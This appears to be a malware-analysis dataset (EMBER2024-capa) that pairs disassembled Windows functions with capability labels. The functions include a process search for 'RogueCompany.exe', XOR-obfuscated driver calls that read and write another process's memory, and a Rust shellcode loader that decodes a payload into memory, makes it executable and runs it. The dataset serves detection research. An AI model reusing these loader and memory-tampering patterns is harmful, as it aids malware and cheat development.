joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007ad0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
je 0x140007af3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x2f]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xb
jb 0x140007ae0
mov byte [rcx + 0xc], 0
mov rax, rcx
ret

Function at 0x140007b00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x14003c240]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov edi, 0xffffffff
xor edx, edx
lea ecx, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
nop dword [rax + rax]
lea rdx, str.RogueCompany.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
je 0x140007b7a
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140007b50
jmp 0x140007b7e
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140009760
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret

Function at 0x1400082d0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000830a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000830f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140008358
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14002bb40]
cmp byte [rcx + rax], 0
je 0x140008358
dec r8
sub rdx, 1
jne 0x14000833e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140008b80
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14003c240]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov eax, dword [rcx + 0x10]
mov qword [rbp + 7], r8
test eax, eax
jne 0x140008bb6
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x140008cf8
cmp eax, 1
jne 0x140008be0
mov rcx, qword [rcx + 8]
xor r8d, r8d
mov qword [rsp + 0x28], r9
lea r9, [rbp + 7]
mov qword [rsp + 0x20], 8
call sub.ntdll.dll_NtQueryVirtualMemory
cdqe
jmp 0x140008cf8
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xa0], rdi
cmp eax, 2
jne 0x140008ce6
mov eax, dword [rcx]
xor edi, edi
mov dword [rbp + 0xf], eax
mov eax, edi
mov qword [rbp + 0x17], rdx
mov edx, 0x203
mov dword [rbp + 0x2f], edi
mov word [rbp - 1], di
mov qword [rbp + 0x1f], r8
mov qword [rbp + 0x27], r9
mov dword [rbp - 0x19], 0x258025f
mov dword [rbp - 0x15], 0x25a022b
mov dword [rbp - 0x11], 0x2310263
mov dword [rbp - 0xd], 0x23f0239
mov dword [rbp - 9], 0x23a0269
mov dword [rbp - 5], 0x23d023a
mov byte [rbp + 1], 1
nop dword [rax + rax]
lea ecx, [rdx + rax]
xor word [rbp + rax*2 - 0x19], cx
inc rax
cmp rax, 0xc
jb 0x140008c50
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp - 0x19]
xor edx, edx
mov byte [rbp + 1], dil
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008ce6
mov qword [rsp + 0x38], rdi
lea rax, [rbp + 0x2f]
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0xf]
lea rax, [rbp + 0xf]
mov dword [rsp + 0x28], 0x20
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov edx, 0x22241c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x1f]
mov rcx, qword [rax]
mov rax, qword [rbp + 7]
mov qword [rax], rcx
mov rax, qword [rbp + 0x27]
jmp 0x140008ce8
xor eax, eax
mov rbx, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xa0]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140009760
add rsp, 0xb0
pop rbp
ret

Function at 0x140008d50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2f], 0
je 0x140008d73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 3]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2e
jb 0x140008d60
mov byte [rcx + 0x2f], 0
mov rax, rcx
ret

Function at 0x140008d80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x37], 0
je 0x140008da3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 3]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x36
jb 0x140008d90
mov byte [rcx + 0x37], 0
mov rax, rcx
ret
Function at 0x140008e80
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x14003c240]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov dword [rcx], edx
mov dword [rcx + 0x10], r8d
cmp r8d, 2
jne 0x14000907b
mov qword [rsp + 0xa8], rbx
xor ebx, ebx
mov qword [rbp + 0x2f], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x2f]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140008eff
mov rcx, qword [rbp + 0x2f]
lea rax, [rbp + 0x47]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x4b]
mov dword [rbp + 0x47], 4
lea edx, [rbx + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp + 0x4b]
mov rcx, qword [rbp + 0x2f]
test rcx, rcx
je 0x140008f0e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140008f97
movdqa xmm0, xmmword [str.Nqvrjlyyc_fv2rg5wsupt_zrl_KDPt4xys9]
lea rcx, [rbp + 0x37]
movdqa xmm1, xmmword [0x14002bd00]
movdqu xmmword [rbp - 9], xmm0
mov dword [rbp + 0x37], 0x67716545
movdqu xmmword [rbp + 7], xmm1
mov dword [rbp + 0x3b], 0x784c286b
mov dword [rbp + 0x3f], 0x7f6379
mov byte [rbp + 0x43], 1
mov dword [rbp + 0x17], 0x649414d
mov dword [rbp + 0x1b], 0x4f4d474a
mov dword [rbp + 0x1f], 0x5b595f0b
mov dword [rbp + 0x23], 0x1005649
call fcn.140007ad0
lea rcx, [rbp - 9]
mov rbx, rax
call fcn.140008d50
mov rdx, rax
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [0x140045654]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140045010], ecx
jg 0x140009090
xor r9d, r9d
mov qword [rbp + 0x37], 8
lea rdx, [rbp + 0x37]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [0x140045008]
test eax, eax
js 0x140008fe9
test byte [rbp + 0x3b], 1
je 0x140008fe9
mov al, 1
jmp 0x140008feb
xor al, al
test al, al
jne 0x140009073
movdqa xmm0, xmmword [0x14002bd20]
lea rcx, [rbp + 0x37]
movdqa xmm1, xmmword [0x14002bd10]
movdqu xmmword [rbp - 9], xmm0
mov dword [rbp + 0x37], 0x67716545
movdqa xmm0, xmmword [0x14002bce0]
movdqu xmmword [rbp + 0x17], xmm0
mov dword [rbp + 0x3b], 0x784c286b
mov dword [rbp + 0x3f], 0x7f6379
mov byte [rbp + 0x43], 1
movdqu xmmword [rbp + 7], xmm1
mov dword [rbp + 0x27], 0x405c4657
mov dword [rbp + 0x2b], 0x1004a52
call fcn.140007ad0
lea rcx, [rbp - 9]
mov rbx, rax
call fcn.140008d80
mov rdx, rax
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [rsp + 0xa8]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140009760
add rsp, 0x90
pop rbp
ret
lea rcx, [0x140045010]
call fcn.1400097ec
cmp dword [0x140045010], 0xffffffff
jne 0x140008fbe
lea rcx, [0x14002ba70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140045010]
mov qword [0x140045008], rax
call fcn.140009780
jmp 0x140008fbe
Function at 0x1400090e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x90
mov rax, qword [0x14003c240]
xor rax, rsp
mov qword [rbp + 0xf], rax
cmp dword [rcx + 0x10], 0
mov rsi, r9
mov r12, qword [rbp + 0x7f]
mov r15, r8
mov r14, rdx
mov rdi, rcx
jne 0x14000912a
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [rdi + 0x10], 1
jne 0x140009147
mov rcx, qword [rdi + 8]
mov r9d, esi
mov r8, r15
mov qword [rsp + 0x20], r12
mov rdx, r14
call sub.ntdll.dll_NtReadVirtualMemory
cmp dword [rdi + 0x10], 2
jne 0x14000923a
mov eax, dword [rdi]
mov edx, 0x203
xor eax, 0x8fea0644
mov dword [rbp - 0x31], 0x258025f
mov dword [rbp - 9], eax
mov eax, 0xfcb3e314
xor r14, rax
mov dword [rbp - 0x2d], 0x25a022b
mov rax, rsi
mov qword [rbp - 1], r14
xor rax, 0x544becbe
mov dword [rbp - 0x29], 0x2310263
xor edi, edi
mov qword [rbp + 7], rax
mov dword [rbp - 0x11], edi
mov eax, edi
mov word [rbp - 0x19], di
mov dword [rbp - 0x25], 0x23f0239
mov dword [rbp - 0x21], 0x23a0269
mov dword [rbp - 0x1d], 0x23d023a
mov byte [rbp - 0x17], 1
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rbp + rax*2 - 0x31], cx
inc rax
cmp rax, 0xc
jb 0x1400091c0
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp - 0x31]
xor edx, edx
mov byte [rbp - 0x17], dil
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000923a
mov qword [rsp + 0x38], rdi
lea rax, [rbp - 0x11]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 9]
mov dword [rsp + 0x28], esi
mov r9d, 0x18
mov edx, 0x22240e
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.140009760
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400094f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x90
mov rax, qword [0x14003c240]
xor rax, rsp
mov qword [rbp + 0xf], rax
cmp dword [rcx + 0x10], 0
mov rsi, r9
mov r12, qword [rbp + 0x7f]
mov r15, r8
mov r14, rdx
mov rdi, rcx
jne 0x14000953a
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [rdi + 0x10], 1
jne 0x140009557
mov rcx, qword [rdi + 8]
mov r9d, esi
mov r8, r15
mov qword [rsp + 0x20], r12
mov rdx, r14
call sub.ntdll.dll_NtWriteVirtualMemory
cmp dword [rdi + 0x10], 2
jne 0x14000964a
mov eax, dword [rdi]
mov edx, 0x203
xor eax, 0x8fea0644
mov dword [rbp - 0x31], 0x258025f
mov dword [rbp - 9], eax
mov eax, 0xfcb3e314
xor r14, rax
mov dword [rbp - 0x2d], 0x25a022b
mov rax, rsi
mov qword [rbp - 1], r14
xor rax, 0x544becbe
mov dword [rbp - 0x29], 0x2310263
xor edi, edi
mov qword [rbp + 7], rax
mov dword [rbp - 0x11], edi
mov eax, edi
mov word [rbp - 0x19], di
mov dword [rbp - 0x25], 0x23f0239
mov dword [rbp - 0x21], 0x23a0269
mov dword [rbp - 0x1d], 0x23d023a
mov byte [rbp - 0x17], 1
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rbp + rax*2 - 0x31], cx
inc rax
cmp rax, 0xc
jb 0x1400095d0
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp - 0x31]
xor edx, edx
mov byte [rbp - 0x17], dil
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000964a
mov qword [rsp + 0x38], rdi
lea rax, [rbp - 0x11]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 9]
mov dword [rsp + 0x28], esi
mov r9d, 0x18
mov edx, 0x22240a
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.140009760
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x14000a4a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a4ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a4ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a4ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a4ee
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a4ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a4f0
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14013cef0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14013cf00]
mov dword [rax], 1
mov rax, qword [0x14013cf10]
mov dword [rax], 1
mov rax, qword [0x14013cee0]
mov dword [rax], 1
mov rax, qword [0x14013cda0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14013ced0]
mov dword [0x14014e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14013ce90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14013ce70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [str.pq_f_]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x140001650
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x128
mov byte [rsp + 0x48], 0x11
mov byte [rsp + 0x49], 0x91
mov byte [rsp + 0x4a], 0x5b
mov byte [rsp + 0x4b], 0x61
mov byte [rsp + 0x4c], 6
mov byte [rsp + 0x4d], 0x68
mov byte [rsp + 0x4e], 0xe5
mov byte [rsp + 0x4f], 0x59
mov byte [rsp + 0x50], 0x9e
mov byte [rsp + 0x51], 0x99
mov byte [rsp + 0x52], 0x1a
mov byte [rsp + 0x53], 0x6d
mov byte [rsp + 0x54], 0x9d
mov byte [rsp + 0x55], 0xc7
mov byte [rsp + 0x56], 0
mov byte [rsp + 0x57], 0xb0
mov byte [rsp + 0x58], 0xba
mov byte [rsp + 0x59], 0xf7
mov byte [rsp + 0x5a], 0x22
mov byte [rsp + 0x5b], 0xf4
mov byte [rsp + 0x5c], 0x2c
mov byte [rsp + 0x5d], 0x63
mov byte [rsp + 0x5e], 0x99
mov byte [rsp + 0x5f], 0x2b
mov byte [rsp + 0x60], 0xc1
mov byte [rsp + 0x61], 0x37
mov byte [rsp + 0x62], 0x10
mov byte [rsp + 0x63], 0x68
mov byte [rsp + 0x64], 0xfc
mov byte [rsp + 0x65], 0x83
mov byte [rsp + 0x66], 7
mov byte [rsp + 0x67], 0x3a
lea rax, section..rdata
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 0x4b000
mov qword [rsp + 0xd8], 0x4b000
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x120], 0
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x118], rax
mov rcx, qword [rsp + 0x118]
mov edx, 0x4b000
mov r8d, 0x3000
mov r9d, 4
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x38], rax
mov qword [rsp + 0xe0], rax
lea rcx, section..rdata
mov edx, 0x4b000
call dbg.iter<u8>
mov qword [rsp + 0x40], rax
mov r8, rdx
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call dbg.enumerate<core::slice::iter::Iter<u8>>
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x80]
call dbg.into_iter<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u8>>>
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x98]
call dbg.next<core::slice::iter::Iter<u8>>
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0xb0], rax
mov rdx, qword [rsp + 0xb8]
mov eax, 1
xor ecx, ecx
cmp rdx, 0
cmove rax, rcx
cmp rax, 0
jne 0x140001864
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0xc4], 0
mov edx, 0x4b000
mov r8d, 0x40
lea r9, [rsp + 0xc4]
call sub.KERNEL32.dll_VirtualProtect
mov ecx, 0x1e
call dbg.core::time::Duration::from_secs::h3d4b7ec996ec2fd0
mov rcx, rax
call sym.std::thread::sleep::h741b214bb385dfe1
mov rax, qword [rsp + 0x38]
call rax
add rsp, 0x128
ret
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xb8]
mov al, byte [rax]
mov byte [rsp + 0x27], al
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rax
add rcx, rax
mov qword [rsp + 0x28], rcx
and rax, 0x1f
mov qword [rsp + 0x30], rax
cmp rax, 0x20
setb al
test al, 1
jne 0x1400018bc
jmp 0x1400018d8
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov dl, byte [rsp + 0x27]
xor dl, byte [rsp + rax + 0x48]
call dbg.write_volatile<u8>
jmp 0x1400017e1
mov rcx, qword [rsp + 0x30]
lea r8, [0x140113010]
mov edx, 0x20
call dbg.panic_bounds_check
ud2
Function at 0x140004320
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rdi
sub rsp, 0x1f8
mov rax, qword [rcx]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x140004378
lea rsi, [rsp + 0x60]
mov r8d, 0x198
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov cx, 0x202
mov rdx, rsi
call sub.WS2_32.dll_WSAStartup
mov dword [rsp + 0x2c], eax
test eax, eax
jne 0x140004392
lea rax, [0x1400c5254]
mov qword [rdi], rax
add rsp, 0x1f8
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_5680fa18feaa87f3ff04063800aec256c3d4b4belibrary_alloc_srccollections_btree_navigate.rs
lea r8, str.library_std_src_synconce.rs
mov edx, 0x2b
call dbg.panic
ud2
mov qword [rsp + 0x30], 0
lea rdx, [0x140118500]
lea r9, str.library_std_src_syswindows_net.rs
lea rcx, [rsp + 0x2c]
lea r8, [rsp + 0x30]
call dbg.assert_failed<i32, i32>
ud2

Function at 0x140024ab0
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x50
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
test rax, rax
je 0x140024ae5
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140024af5
lea rax, str.The_number_of_hardware_threads_is_not_known_for_the_target_platform
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x50
pop rsi
ret
Function at 0x140026530
Capabilities:
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x468
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x20], rax
xor esi, esi
mov r14d, 0xffffffff
xor edi, edi
xor r15d, r15d
cmp r8, 0x201
jae 0x1400265b0
jmp 0x14002659f
jae 0x140026654
cmp r8, 0x201
jae 0x1400265b0
mov r12d, 0x200
lea r13, [rsp + 0x68]
mov rbp, r8
jmp 0x1400265f7
sub r8, r15
sub rdi, r15
cmp rdi, r8
jae 0x1400265d7
lea rcx, [rsp + 0x30]
mov rdx, r15
call dbg.do_reserve_and_handle<core::mem::maybe_uninit::MaybeUninit<u16>, alloc::alloc::Global>
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rsi, qword [rsp + 0x38]
cmp rsi, r14
mov r15d, 0xffffffff
cmovb r15, rsi
mov qword [rsp + 0x40], r15
mov rdi, rsi
mov r12, r15
mov r13, qword [rsp + 0x20]
mov rbp, r15
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov ecx, ebp
mov rdx, r13
call sub.KERNEL32.dll_GetCurrentDirectoryW
mov ebx, eax
test eax, eax
jne 0x14002661b
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x1400266b2
mov r8d, ebx
cmp rbp, r8
jne 0x140026590
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x1400266d2
add rbp, rbp
cmp rbp, r14
cmovae rbp, r14
mov r8, rbp
cmp r8, 0x201
jb 0x14002659f
jmp 0x1400265b0
cmp r12, r8
jb 0x1400266ec
lea rcx, [rsp + 0x48]
mov rdx, r13
call dbg.from_wide
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
mov rdi, qword [rsp + 0x28]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
test rsi, rsi
je 0x14002669b
add rsi, rsi
mov r8d, 2
mov rcx, qword [rsp + 0x20]
mov rdx, rsi
call sym.__rust_dealloc
mov rax, rdi
add rsp, 0x468
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov rdi, qword [rsp + 0x28]
mov qword [rdi], rax
mov byte [rdi + 0x18], 2
test rsi, rsi
jne 0x140026685
jmp 0x14002669b
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call dbg.panic
jmp 0x140026701
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r12
mov r8, rax
call dbg.slice_end_index_len_fail
ud2

Function at 0x140026740
Capabilities:
Query environment variable

Disassembly:
push rsi
sub rsp, 0x70
call sub.KERNEL32.dll_GetEnvironmentStringsW
test rax, rax
je 0x140026758
mov rdx, rax
add rsp, 0x70
pop rsi
ret
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hd2ad2949d5242a6a]
mov qword [rsp + 0x38], rax
lea rax, str.failure_getting_env_string_from_OS:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.library_std_src_syswindowsos.rs
lea rcx, [rsp + 0x40]
call dbg.panic_fmt
ud2
Function at 0x140027090
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
mov r14, r9
mov r15, r8
mov r8, rdx
mov rdx, rcx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r9
lea rsi, [rsp + 0x28]
mov rcx, rsi
call sym.std::sys::windows::to_u16s::inner::h69d6fd423d4e10ef
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
test rbx, rbx
je 0x140027114
lea rcx, [rsp + 0x28]
mov rdx, r15
mov r8, r14
call sym.std::sys::windows::to_u16s::inner::h69d6fd423d4e10ef
mov r12, qword [rsp + 0x28]
mov r15, qword [rsp + 0x30]
test r12, r12
je 0x140027119
mov rcx, rbx
mov rdx, r12
call sub.KERNEL32.dll_SetEnvironmentVariableW
test eax, eax
je 0x14002711e
xor r14d, r14d
test r15, r15
jne 0x140027133
jmp 0x140027147
mov r14, rdi
jmp 0x140027160
mov r14, r15
jmp 0x140027147
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
shl r14, 0x20
or r14, 2
test r15, r15
je 0x140027147
add r15, r15
mov r8d, 2
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
test rdi, rdi
je 0x140027160
add rdi, rdi
mov r8d, 2
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
test r14, r14
jne 0x140027176
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x20], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [sym.__std::path::Display_as_core::fmt::Debug_::fmt::h3df5f6d971fda65d]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hd2ad2949d5242a6a]
mov qword [rsp + 0x50], rax
lea rax, [0x140115148]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 3
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], 3
lea rdx, [0x140115178]
lea rcx, [rsp + 0x78]
call dbg.panic_fmt
ud2